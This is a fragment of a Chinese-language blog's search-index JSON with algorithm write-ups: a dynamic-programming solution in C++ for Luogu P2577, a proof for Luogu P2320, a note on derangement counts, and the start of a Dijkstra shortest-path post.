x--)\n#define INF 0x3f3f3f3f\nusing namespace std;\n\ninline int MAX(int x, int y) { return x < y ? y : x; }\n\ninline int MIN(int x, int y) { return x < y ? x : y; }\n\nstruct Node {\n int a, b;// a is pick time, b is eat time\n bool operator<(const Node &y) const { return this->b > y.b; }\n};\nNode man[300];\nint dp[80010];\nint sum[300];\n\nint main() {\n int n;\n scanf(\"%d\", &n);\n for (int i = 0; i < n; i++) {\n scanf(\"%d%d\", &man[i].a, &man[i].b);\n }\n sort(man, man + n);\n\n sum[0] = man[0].a;\n FWD(i, 1, n) { sum[i] = sum[i - 1] + man[i].a; }\n memset(dp, 10, sizeof(dp));\n dp[0] = man[0].b + man[0].a;\n dp[man[0].a] = man[0].b + man[0].a;\n FWD(i, 1, n) {\n BWD(j, sum[i], 0) {\n int tmp1 = INF, tmp2 = INF;\n if (j >= man[i].a) {\n tmp1 = MAX(dp[j - man[i].a], j + man[i].b);// 第一个人放在1队\n }\n if (sum[i] - j >= man[i].a) {\n tmp2 = MAX(dp[j], sum[i] - j + man[i].b);// 第i个人放在二队\n }\n // 如果j只能允许man[i].a放在一队，则i就放一队\n if (j >= man[i].a && sum[i] - j < man[i].a) {\n dp[j] = tmp1;\n }else if (j < man[i].a && sum[i] - j >= man[i].a) {\n dp[j] = tmp2;\n }else if (j >= man[i].a && sum[i] - j >= man[i].a) {\n dp[j] = MIN(tmp2, tmp1);\n }\n }\n }\n int ans = INF;\n FWD(i, 0, sum[n - 1] + 1) { ans = ans < dp[i] ? ans : dp[i]; }\n printf(\"%d\\n\", ans);\n}\n```\n\n- 注意，在枚举$dp[i][j]$ 的`j` 时，要注意该`j ` 是否允许`man[i].a` 放在第一队，或者会放在第二队，所以，给$dp[i][j]$ 赋值时也要注意是否只能放在其中一队，从而直接赋值就行了，如果能放在其中两队，那么就要取MIN\n\n- 注意，此题初始化时不可以把从$man[i].a+1$ 到$sum[n-1]$ 的dp都赋值为$man[i].a+man[i].b$ ，而应该赋值为INF。因为后面进行dp时，枚举$j$ 时，可能出现一种情况$j<man[i].a$ 导致这个j时不可以放在第一队，并且$sum[i]-j<man[i].a$ 导致也不可以放在第二队，这种情况就应该INF。\n\n- 此题如果使用自顶向下应该可以节省一些冗余状态——就是直接把上面的循环改成尾递归\n\n {% asset_img 1.png %}\n\n- [截图来源 ](https://www.luogu.org/problemnew/solution/P2577)\n\n","content":"<h2 id=\"题目\"><a href=\"#题目\" class=\"headerlink\" title=\"题目\"></a>题目</h2><h4 id=\"题目描述\"><a href=\"#题目描述\" class=\"headerlink\" title=\"题目描述\"></a>题目描述</h4><p>上午的训练结束了，THU ACM小组集体去吃午餐，他们一行N人来到了著名的十食堂。这里有两个打饭的窗口，每个窗口同一时刻只能给一个人打饭。由于每个人的口味（以及胃口）不同，所以他们要吃的菜各有不同，打饭所要花费的时间是因人而异的。另外每个人吃饭的速度也不尽相同，所以吃饭花费的时间也是可能有所不同的。</p>\n<p>THU ACM小组的吃饭计划是这样的：先把所有的人分成两队，并安排好每队中各人的排列顺序，然后一号队伍到一号窗口去排队打饭，二号队伍到二号窗口去排队打饭。每个人打完饭后立刻开始吃，所有人都吃完饭后立刻集合去六教地下室进行下午的训练。</p>\n<p>现在给定了每个人的打饭时间和吃饭时间，要求安排一种最佳的分队和排队方案使得所有人都吃完饭的时间尽量早。</p>\n<p>假设THU ACM小组在时刻0到达十食堂，而且食堂里面没有其他吃饭的同学（只有打饭的师傅）。每个人必须而且只能被分在一个队伍里。两个窗口是并行操作互不影响的，而且每个人打饭的时间是和窗口无关的，打完饭之后立刻就开始吃饭，中间没有延迟。</p>\n<p>现在给定N个人各自的打饭时间和吃饭时间，要求输出最佳方案下所有人吃完饭的时刻。</p>\n<h4 id=\"输入输出格式\"><a href=\"#输入输出格式\" class=\"headerlink\" title=\"输入输出格式\"></a>输入输出格式</h4><p>输入格式：</p>\n<p>第一行一个整数N，代表总共有N个人。</p>\n<p>以下N行，每行两个整数 Ai，Bi。依次代表第i个人的打饭时间和吃饭时间。</p>\n<p>输出格式：</p>\n<p>一个整数T，代表所有人吃完饭的最早时刻。</p>\n<h4 id=\"输入输出样例\"><a href=\"#输入输出样例\" class=\"headerlink\" title=\"输入输出样例\"></a>输入输出样例</h4><p>输入样例#1：</p>\n<figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">5</span><br><span class=\"line\">2 2</span><br><span class=\"line\">7 7</span><br><span class=\"line\">1 3</span><br><span class=\"line\">6 4</span><br><span class=\"line\">8 5</span><br></pre></td></tr></table></figure>\n<p>输出样例#1：</p>\n<figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">17</span><br></pre></td></tr></table></figure>\n<h2 id=\"题解\"><a href=\"#题解\" class=\"headerlink\" title=\"题解\"></a>题解</h2><h4 id=\"吃饭时间越长越早排队\"><a href=\"#吃饭时间越长越早排队\" class=\"headerlink\" title=\"吃饭时间越长越早排队\"></a>吃饭时间越长越早排队</h4><ul>\n<li>假设有一个最优分组方法，其中第一队内是按吃饭时间长短排序的——越长排在越前。然后尝试交换该队内的某两个人，<code>i</code>、<code>j</code> ——即原先是<code>i</code> 排在<code>j</code> 前面，并且两人各自的吃饭时间$b[j]<b[i]$，现在交换过来</li>\n<li>首先，交换前从队头到到<code>j</code> 总的打饭时间或者是交换后从队头到<code>i</code> 的总的打饭时间都是$T$</li>\n<li>然后以前$T$时间后，<code>j</code> 开始吃饭，现在是$T$时间后，<code>i</code> 开始吃饭。如果以前最终吃饭完成的时间是$T+b[j]$ （$b[j]$ 是<code>j</code> 的吃饭时间），那么现在就是$T+b[i]>T+b[j]$ 。如果以前最终吃饭完成时间比$T+b[j]$ 后，那么现在最终吃饭完成时间就大于或者等于$T+b[i]$ </li>\n</ul>\n<h4 id=\"如何记录状态以及状态转移方程\"><a href=\"#如何记录状态以及状态转移方程\" class=\"headerlink\" title=\"如何记录状态以及状态转移方程\"></a>如何记录状态以及状态转移方程</h4><ul>\n<li><p>$dp[i][j][k]$ ：表示当排到第<code>i</code> 个人时，第一队的排队耗时是<code>j</code> ，第二队的排队耗时是<code>k</code> </p>\n</li>\n<li><p>先定义符号，$man[i].a$ 表示第<code>i</code> 人的打饭时间，$man[i].b$ 是第<code>i</code> 人的吃饭时间，$sum[x]=\\Sigma_{i=0}^x man[i].a$</p>\n</li>\n<li><p>因为，对于确定的<code>i</code> ，$k=sum[i]-j$ ，所以，$dp[i][j][k]=dp[i][j][sum[i]-j]$ </p>\n</li>\n<li><figure class=\"highlight cpp\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"keyword\">int</span> x = MAX(dp[i<span class=\"number\">-1</span>][j-man[i].a][k], j+man[i].b);</span><br><span class=\"line\"><span class=\"keyword\">int</span> y = MAX(dp[i<span class=\"number\">-1</span>][j][k-man[i].a], k+man[i].b);</span><br><span class=\"line\">dp[i][j][k] = dp[i][j][sum[i]-j] = MIN(x, y);</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>之所以要取MAX，是因为$dp[i-1][j-man[i].a][k]$ 可能是第一队达到的最长吃饭完成时间，也可能是第二队达到的，而即使是第一队达到的，也有可能现在第一队最后一个吃完的时间$j+man[i].b$ 比$dp[i-1][j-man[i].a][k]$ 早，所以要取MAX</p>\n</li>\n<li><p>因为无需枚举<code>k</code> ，所以无需使用三维数组。并且可以使用滚动数组，从而压缩为一维数组</p>\n</li>\n</ul>\n<h2 id=\"代码\"><a href=\"#代码\" class=\"headerlink\" title=\"代码\"></a>代码</h2><figure class=\"highlight cpp\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br><span class=\"line\">21</span><br><span class=\"line\">22</span><br><span class=\"line\">23</span><br><span class=\"line\">24</span><br><span class=\"line\">25</span><br><span class=\"line\">26</span><br><span class=\"line\">27</span><br><span class=\"line\">28</span><br><span class=\"line\">29</span><br><span class=\"line\">30</span><br><span class=\"line\">31</span><br><span class=\"line\">32</span><br><span class=\"line\">33</span><br><span class=\"line\">34</span><br><span class=\"line\">35</span><br><span class=\"line\">36</span><br><span class=\"line\">37</span><br><span class=\"line\">38</span><br><span class=\"line\">39</span><br><span class=\"line\">40</span><br><span class=\"line\">41</span><br><span class=\"line\">42</span><br><span class=\"line\">43</span><br><span class=\"line\">44</span><br><span class=\"line\">45</span><br><span class=\"line\">46</span><br><span class=\"line\">47</span><br><span class=\"line\">48</span><br><span class=\"line\">49</span><br><span class=\"line\">50</span><br><span class=\"line\">51</span><br><span class=\"line\">52</span><br><span class=\"line\">53</span><br><span class=\"line\">54</span><br><span class=\"line\">55</span><br><span class=\"line\">56</span><br><span class=\"line\">57</span><br><span class=\"line\">58</span><br><span class=\"line\">59</span><br><span class=\"line\">60</span><br><span class=\"line\">61</span><br><span class=\"line\">62</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><algorithm></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><cassert></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><cstdio></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><cstdlib></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><cstring></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><iostream></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><map></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><queue></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><vector></span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">define</span> FWD(x, b, e) for (int x = b; x < e; x++)</span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">define</span> BWD(x, b, e) for (int x = b; x >= e; x--)</span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">define</span> INF 0x3f3f3f3f</span></span><br><span class=\"line\"><span class=\"keyword\">using</span> <span class=\"keyword\">namespace</span> <span class=\"built_in\">std</span>;</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">inline</span> <span class=\"keyword\">int</span> <span class=\"title\">MAX</span><span class=\"params\">(<span class=\"keyword\">int</span> x, <span class=\"keyword\">int</span> y)</span> </span>{ <span class=\"keyword\">return</span> x < y ? y : x; }</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">inline</span> <span class=\"keyword\">int</span> <span class=\"title\">MIN</span><span class=\"params\">(<span class=\"keyword\">int</span> x, <span class=\"keyword\">int</span> y)</span> </span>{ <span class=\"keyword\">return</span> x < y ? x : y; }</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"class\"><span class=\"keyword\">struct</span> <span class=\"title\">Node</span> {</span></span><br><span class=\"line\"> <span class=\"keyword\">int</span> a, b;<span class=\"comment\">// a is pick time, b is eat time</span></span><br><span class=\"line\"> <span class=\"keyword\">bool</span> <span class=\"keyword\">operator</span><(<span class=\"keyword\">const</span> Node &y) <span class=\"keyword\">const</span> { <span class=\"keyword\">return</span> <span class=\"keyword\">this</span>->b > y.b; }</span><br><span class=\"line\">};</span><br><span class=\"line\">Node man[<span class=\"number\">300</span>];</span><br><span class=\"line\"><span class=\"keyword\">int</span> dp[<span class=\"number\">80010</span>];</span><br><span class=\"line\"><span class=\"keyword\">int</span> sum[<span class=\"number\">300</span>];</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">main</span><span class=\"params\">()</span> </span>{</span><br><span class=\"line\"> <span class=\"keyword\">int</span> n;</span><br><span class=\"line\"> <span class=\"built_in\">scanf</span>(<span class=\"string\">\"%d\"</span>, &n);</span><br><span class=\"line\"> <span class=\"keyword\">for</span> (<span class=\"keyword\">int</span> i = <span class=\"number\">0</span>; i < n; i++) {</span><br><span class=\"line\"> <span class=\"built_in\">scanf</span>(<span class=\"string\">\"%d%d\"</span>, &man[i].a, &man[i].b);</span><br><span class=\"line\"> }</span><br><span class=\"line\"> sort(man, man + n);</span><br><span class=\"line\"></span><br><span class=\"line\"> sum[<span class=\"number\">0</span>] = man[<span class=\"number\">0</span>].a;</span><br><span class=\"line\"> FWD(i, <span class=\"number\">1</span>, n) { sum[i] = sum[i - <span class=\"number\">1</span>] + man[i].a; }</span><br><span class=\"line\"> <span class=\"built_in\">memset</span>(dp, <span class=\"number\">10</span>, <span class=\"keyword\">sizeof</span>(dp));</span><br><span class=\"line\"> dp[<span class=\"number\">0</span>] = man[<span class=\"number\">0</span>].b + man[<span class=\"number\">0</span>].a;</span><br><span class=\"line\"> dp[man[<span class=\"number\">0</span>].a] = man[<span class=\"number\">0</span>].b + man[<span class=\"number\">0</span>].a;</span><br><span class=\"line\"> FWD(i, <span class=\"number\">1</span>, n) {</span><br><span class=\"line\"> BWD(j, sum[i], <span class=\"number\">0</span>) {</span><br><span class=\"line\"> <span class=\"keyword\">int</span> tmp1 = INF, tmp2 = INF;</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (j >= man[i].a) {</span><br><span class=\"line\"> tmp1 = MAX(dp[j - man[i].a], j + man[i].b);<span class=\"comment\">// 第一个人放在1队</span></span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (sum[i] - j >= man[i].a) {</span><br><span class=\"line\"> tmp2 = MAX(dp[j], sum[i] - j + man[i].b);<span class=\"comment\">// 第i个人放在二队</span></span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"comment\">// 如果j只能允许man[i].a放在一队，则i就放一队</span></span><br><span class=\"line\"> <span class=\"keyword\">if</span> (j >= man[i].a && sum[i] - j < man[i].a) {</span><br><span class=\"line\"> dp[j] = tmp1;</span><br><span class=\"line\"> }<span class=\"keyword\">else</span> <span class=\"keyword\">if</span> (j < man[i].a && sum[i] - j >= man[i].a) {</span><br><span class=\"line\"> dp[j] = tmp2;</span><br><span class=\"line\"> }<span class=\"keyword\">else</span> <span class=\"keyword\">if</span> (j >= man[i].a && sum[i] - j >= man[i].a) {</span><br><span class=\"line\"> dp[j] = MIN(tmp2, tmp1);</span><br><span class=\"line\"> }</span><br><span class=\"line\"> }</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"keyword\">int</span> ans = INF;</span><br><span class=\"line\"> FWD(i, <span class=\"number\">0</span>, sum[n - <span class=\"number\">1</span>] + <span class=\"number\">1</span>) { ans = ans < dp[i] ? ans : dp[i]; }</span><br><span class=\"line\"> <span class=\"built_in\">printf</span>(<span class=\"string\">\"%d\\n\"</span>, ans);</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<ul>\n<li><p>注意，在枚举$dp[i][j]$ 的<code>j</code> 时，要注意该<code>j</code> 是否允许<code>man[i].a</code> 放在第一队，或者会放在第二队，所以，给$dp[i][j]$ 赋值时也要注意是否只能放在其中一队，从而直接赋值就行了，如果能放在其中两队，那么就要取MIN</p>\n</li>\n<li><p>注意，此题初始化时不可以把从$man[i].a+1$ 到$sum[n-1]$ 的dp都赋值为$man[i].a+man[i].b$ ，而应该赋值为INF。因为后面进行dp时，枚举$j$ 时，可能出现一种情况$j<man[i].a$ 导致这个j时不可以放在第一队，并且$sum[i]-j<man[i].a$ 导致也不可以放在第二队，这种情况就应该INF。</p>\n</li>\n<li><p>此题如果使用自顶向下应该可以节省一些冗余状态——就是直接把上面的循环改成尾递归</p>\n<img src=\"/2018/05/20/洛谷2577-午餐/1.png\">\n</li>\n<li><p><a href=\"https://www.luogu.org/problemnew/solution/P2577\" target=\"_blank\" rel=\"noopener\">截图来源 </a></p>\n</li>\n</ul>\n","slug":"洛谷2577-午餐","categories":[{"name":"算法","slug":"算法","permalink":"https://h-zex.github.io/categories/算法/"}],"tags":[{"name":"ACM","slug":"ACM","permalink":"https://h-zex.github.io/tags/ACM/"},{"name":"动态规划","slug":"动态规划","permalink":"https://h-zex.github.io/tags/动态规划/"}]},{"title":"洛谷2320 鬼谷子的钱袋 形式化证明","date":"2018-05-16T17:33:21.000Z","path":"2018/05/17/洛谷2320-鬼谷子的钱袋-形式化证明/","text":"题目描述鬼谷子非常聪明，正因为这样，他非常繁忙，经常有各诸侯车的特派员前来向他咨询时政。 有一天，他在咸阳游历的时候，朋友告诉他在咸阳最大的拍卖行（聚宝商行）将要举行一场拍卖会，其中有一件宝物引起了他极大的兴趣，那就是无字天书。 但是，他的行程安排得很满，他已经买好了去邯郸的长途马车票，不巧的是出发时间是在拍卖会快要结束的时候。于是，他决定事先做好准备，将自己的金币数好并用一个个的小钱袋装好，以便在他现有金币的支付能力下，任何数目的金币他都能用这些封闭好的小钱的组合来付账。 鬼谷子也是一个非常节俭的人，他想方设法使自己在满足上述要求的前提下，所用的钱袋数最少，并且不有两个钱袋装有相同的大于1的金币数。假设他有m个金币，你能猜到他会用多少个钱袋，并且每个钱袋装多少个金币吗？ 输入输出格式 输入格式：包含一个整数，表示鬼谷子现有的总的金币数目m。其中，1≤m ≤1000000000。 输出格式：两行，第一行一个整数h，表示所用钱袋个数。第二行表示每个钱袋所装的金币个数，由小到大输出，空格隔开 输入输出示例12345输入3输出21 2 解法 对于m个待装袋的金币，取$\\lceil m/2\\rceil$ 个金币装入第一个袋子，然后递归求解 证明 对于一个数m，采用每次分割一半的方法，共分割出$\\lfloor lg_2m\\rfloor+1$ 个袋子 按照题意，我们需要给出一个k个元素的序列，这个序列有$2^k$ 种选择元素的方法。每种选择法得出一个值。而因为需要能构造出所有可能的值，也就是要构造出$[0,m]$ 内的所有值，共m+1个值，所以$k\\geq \\lceil lg_2(m+1)\\rceil$ 对于$m\\geq1$，$\\lceil lg_2(m+1)\\rceil= \\lfloor lg_2m\\rfloor+1$ 所以我们的解法已经达到了最优","raw":"---\ntitle: 洛谷2320 鬼谷子的钱袋 形式化证明\ntoc: false\ncomments: true\nmathjax: true\ndate: 2018-05-17 01:33:21\ntags:\n- ACM\n- 数学\n- 递归\ndescription: 题解\ncategories:\n- 算法\n\n---\n\n## 题目\n\n#### 描述\n\n鬼谷子非常聪明，正因为这样，他非常繁忙，经常有各诸侯车的特派员前来向他咨询时政。\n\n有一天，他在咸阳游历的时候，朋友告诉他在咸阳最大的拍卖行（聚宝商行）将要举行一场拍卖会，其中有一件宝物引起了他极大的兴趣，那就是无字天书。\n\n但是，他的行程安排得很满，他已经买好了去邯郸的长途马车票，不巧的是出发时间是在拍卖会快要结束的时候。于是，他决定事先做好准备，将自己的金币数好并用一个个的小钱袋装好，以便在他现有金币的支付能力下，任何数目的金币他都能用这些封闭好的小钱的组合来付账。\n\n鬼谷子也是一个非常节俭的人，他想方设法使自己在满足上述要求的前提下，所用的钱袋数最少，并且不有两个钱袋装有相同的大于1的金币数。假设他有m个金币，你能猜到他会用多少个钱袋，并且每个钱袋装多少个金币吗？\n\n\n#### 输入输出格式\n\n- 输入格式：包含一个整数，表示鬼谷子现有的总的金币数目m。其中，1≤m ≤1000000000。\n\n- 输出格式：两行，第一行一个整数h，表示所用钱袋个数。第二行表示每个钱袋所装的金币个数，由小到大输出，空格隔开\n\n\n#### 输入输出示例\n\n```\n输入\n3\n输出\n2\n1 2\n```\n\n## 解法\n\n- 对于m个待装袋的金币，取$\\lceil m/2\\rceil$ 个金币装入第一个袋子，然后递归求解\n\n## 证明\n\n- 对于一个数m，采用每次分割一半的方法，共分割出$\\lfloor lg_2m\\rfloor+1$ 个袋子\n- 按照题意，我们需要给出一个k个元素的序列，这个序列有$2^k$ 种选择元素的方法。每种选择法得出一个值。而因为需要能构造出所有可能的值，也就是要构造出$[0,m]$ 内的所有值，共m+1个值，所以$k\\geq \\lceil lg_2(m+1)\\rceil$ \n- 对于$m\\geq1$，$\\lceil lg_2(m+1)\\rceil= \\lfloor lg_2m\\rfloor+1$\n- 所以我们的解法已经达到了最优\n","content":"<h2 id=\"题目\"><a href=\"#题目\" class=\"headerlink\" title=\"题目\"></a>题目</h2><h4 id=\"描述\"><a href=\"#描述\" class=\"headerlink\" title=\"描述\"></a>描述</h4><p>鬼谷子非常聪明，正因为这样，他非常繁忙，经常有各诸侯车的特派员前来向他咨询时政。</p>\n<p>有一天，他在咸阳游历的时候，朋友告诉他在咸阳最大的拍卖行（聚宝商行）将要举行一场拍卖会，其中有一件宝物引起了他极大的兴趣，那就是无字天书。</p>\n<p>但是，他的行程安排得很满，他已经买好了去邯郸的长途马车票，不巧的是出发时间是在拍卖会快要结束的时候。于是，他决定事先做好准备，将自己的金币数好并用一个个的小钱袋装好，以便在他现有金币的支付能力下，任何数目的金币他都能用这些封闭好的小钱的组合来付账。</p>\n<p>鬼谷子也是一个非常节俭的人，他想方设法使自己在满足上述要求的前提下，所用的钱袋数最少，并且不有两个钱袋装有相同的大于1的金币数。假设他有m个金币，你能猜到他会用多少个钱袋，并且每个钱袋装多少个金币吗？</p>\n<h4 id=\"输入输出格式\"><a href=\"#输入输出格式\" class=\"headerlink\" title=\"输入输出格式\"></a>输入输出格式</h4><ul>\n<li><p>输入格式：包含一个整数，表示鬼谷子现有的总的金币数目m。其中，1≤m ≤1000000000。</p>\n</li>\n<li><p>输出格式：两行，第一行一个整数h，表示所用钱袋个数。第二行表示每个钱袋所装的金币个数，由小到大输出，空格隔开</p>\n</li>\n</ul>\n<h4 id=\"输入输出示例\"><a href=\"#输入输出示例\" class=\"headerlink\" title=\"输入输出示例\"></a>输入输出示例</h4><figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">输入</span><br><span class=\"line\">3</span><br><span class=\"line\">输出</span><br><span class=\"line\">2</span><br><span class=\"line\">1 2</span><br></pre></td></tr></table></figure>\n<h2 id=\"解法\"><a href=\"#解法\" class=\"headerlink\" title=\"解法\"></a>解法</h2><ul>\n<li>对于m个待装袋的金币，取$\\lceil m/2\\rceil$ 个金币装入第一个袋子，然后递归求解</li>\n</ul>\n<h2 id=\"证明\"><a href=\"#证明\" class=\"headerlink\" title=\"证明\"></a>证明</h2><ul>\n<li>对于一个数m，采用每次分割一半的方法，共分割出$\\lfloor lg_2m\\rfloor+1$ 个袋子</li>\n<li>按照题意，我们需要给出一个k个元素的序列，这个序列有$2^k$ 种选择元素的方法。每种选择法得出一个值。而因为需要能构造出所有可能的值，也就是要构造出$[0,m]$ 内的所有值，共m+1个值，所以$k\\geq \\lceil lg_2(m+1)\\rceil$ </li>\n<li>对于$m\\geq1$，$\\lceil lg_2(m+1)\\rceil= \\lfloor lg_2m\\rfloor+1$</li>\n<li>所以我们的解法已经达到了最优</li>\n</ul>\n","slug":"洛谷2320-鬼谷子的钱袋-形式化证明","categories":[{"name":"算法","slug":"算法","permalink":"https://h-zex.github.io/categories/算法/"}],"tags":[{"name":"ACM","slug":"ACM","permalink":"https://h-zex.github.io/tags/ACM/"},{"name":"数学","slug":"数学","permalink":"https://h-zex.github.io/tags/数学/"},{"name":"递归","slug":"递归","permalink":"https://h-zex.github.io/tags/递归/"}]},{"title":"组合数之错排数","date":"2018-05-14T13:51:56.000Z","path":"2018/05/14/组合数之错排数/","text":"错排数的定义 假设有n个元素，n个位置，每个元素都有自己唯一的正确位置，问，所有元素都处在错误位置有多少可能 递推公式 设$f(n)$ 表示n个元素的错排种数，则$f(n+1)=n*(f(n)+f(n-1))$ 解释如下 假设已经有n个元素错排，新来一个元素，那么该元素处于已有的n个元素的位置都可以实现错排，所以有$n*f(n)$ 种可能 假设已有n个元素，其中n-1个是错排的，另外一个是正确的，这种情况有n种。新来一个元素，这个元素唯有跟那个正确元素交换位置才可以实现n+1个元素的错排。所以有$n*f(n-2)$ 种可能 为什么没有其他可能？ 因为对于n+1个元素的某个错排来说，假设第$n+1$个元素处于第i位($i\\neq n+1$)，然后第$n+1$个位置有第k个元素，那么要么$k=i$ 或者$k\\neq i$ ，没有其他可能情况 ACM题 hdu2049","raw":"---\ntitle: 组合数之错排数\ntoc: false\ncomments: true\nmathjax: true\ndate: 2018-05-14 21:51:56\ntags:\n- 组合数\n- 错排\n- ACM\ndescription: n个元素都不在自己的位置上，有多少种可能\ncategories:\n- 数学\n\n---\n\n## 错排数的定义\n\n- 假设有n个元素，n个位置，每个元素都有自己唯一的正确位置，问，所有元素都处在错误位置有多少可能\n\n## 递推公式\n\n- 设$f(n)$ 表示n个元素的错排种数，则$f(n+1)=n*(f(n)+f(n-1))$ \n- 解释如下\n - 假设已经有n个元素错排，新来一个元素，那么该元素处于已有的n个元素的位置都可以实现错排，所以有$n*f(n)$ 种可能\n - 假设已有n个元素，其中n-1个是错排的，另外一个是正确的，这种情况有n种。新来一个元素，这个元素唯有跟那个正确元素交换位置才可以实现n+1个元素的错排。所以有$n*f(n-2)$ 种可能\n- 为什么没有其他可能？\n - 因为对于n+1个元素的某个错排来说，假设第$n+1$个元素处于第i位($i\\neq n+1$)，然后第$n+1$个位置有第k个元素，那么要么$k=i$ 或者$k\\neq i$ ，没有其他可能情况\n\n## ACM题\n\n- hdu2049","content":"<h2 id=\"错排数的定义\"><a href=\"#错排数的定义\" class=\"headerlink\" title=\"错排数的定义\"></a>错排数的定义</h2><ul>\n<li>假设有n个元素，n个位置，每个元素都有自己唯一的正确位置，问，所有元素都处在错误位置有多少可能</li>\n</ul>\n<h2 id=\"递推公式\"><a href=\"#递推公式\" class=\"headerlink\" title=\"递推公式\"></a>递推公式</h2><ul>\n<li>设$f(n)$ 表示n个元素的错排种数，则$f(n+1)=n*(f(n)+f(n-1))$ </li>\n<li>解释如下<ul>\n<li>假设已经有n个元素错排，新来一个元素，那么该元素处于已有的n个元素的位置都可以实现错排，所以有$n*f(n)$ 种可能</li>\n<li>假设已有n个元素，其中n-1个是错排的，另外一个是正确的，这种情况有n种。新来一个元素，这个元素唯有跟那个正确元素交换位置才可以实现n+1个元素的错排。所以有$n*f(n-2)$ 种可能</li>\n</ul>\n</li>\n<li>为什么没有其他可能？<ul>\n<li>因为对于n+1个元素的某个错排来说，假设第$n+1$个元素处于第i位($i\\neq n+1$)，然后第$n+1$个位置有第k个元素，那么要么$k=i$ 或者$k\\neq i$ ，没有其他可能情况</li>\n</ul>\n</li>\n</ul>\n<h2 id=\"ACM题\"><a href=\"#ACM题\" class=\"headerlink\" title=\"ACM题\"></a>ACM题</h2><ul>\n<li>hdu2049</li>\n</ul>\n","slug":"组合数之错排数","categories":[{"name":"数学","slug":"数学","permalink":"https://h-zex.github.io/categories/数学/"}],"tags":[{"name":"ACM","slug":"ACM","permalink":"https://h-zex.github.io/tags/ACM/"},{"name":"组合数","slug":"组合数","permalink":"https://h-zex.github.io/tags/组合数/"},{"name":"错排","slug":"错排","permalink":"https://h-zex.github.io/tags/错排/"}]},{"title":"天梯L3 007 天梯地图","date":"2018-05-13T07:10:04.000Z","path":"2018/05/13/天梯L3-007-天梯地图/","text":"题目 输入示例一123456789101112131415161710 150 1 0 1 18 0 0 1 14 8 1 1 15 4 0 2 35 9 1 1 40 6 0 1 17 3 1 1 28 3 1 1 22 5 0 2 22 1 1 1 11 5 0 1 31 4 0 1 19 7 1 1 33 1 0 2 56 3 1 2 15 3 输出示例一12Time = 6: 5 => 4 => 8 => 3Distance = 3: 5 => 1 => 3 输入示例二12345678910117 90 4 1 1 11 6 1 3 12 6 1 1 12 5 1 2 23 0 0 1 13 1 1 3 13 2 1 2 14 5 0 2 26 5 1 2 13 5 输出示例二1Time = 3; Distance = 4: 3 => 2 => 5 Dijstra算法 bfs+优先队列其实就是dijstra算法 dijstra维护result set，源节点到这个set里的点的最短路径已经找到，所以result set只会有node被加进去而不会有node被踢出去 不同于算法导论描述的dijstra算法——算导里的堆是点的堆，所以当发现有新的路径可以以更小的代价到达某点时（该点之前已经在堆里），会使用堆decrease key操作——把这个点的权值减低，并且调整堆使得堆合法。但是stl的优先队列并没有decrease key的操作，所以使用另一种实现——允许某点多次加入到优先队列里——其实就等价于优先队列里放Edge。所以在从优先队列里pop出最小权的点时，要判断该点是否已经处于result set里。这样做会使得复杂度从$O((E+V)lgV)$ 变为$O(ElgE)$ Dijstra找出所有最短路径 从src到dest的路径上的某些节点有多种到达方法——这就导致了多条路径。所以我们要维护所有节点的parent list——无论从哪个parent 到这个节点都是最短的。 具体实现是：从优先队列其pop出某节点，该节点已经处于result 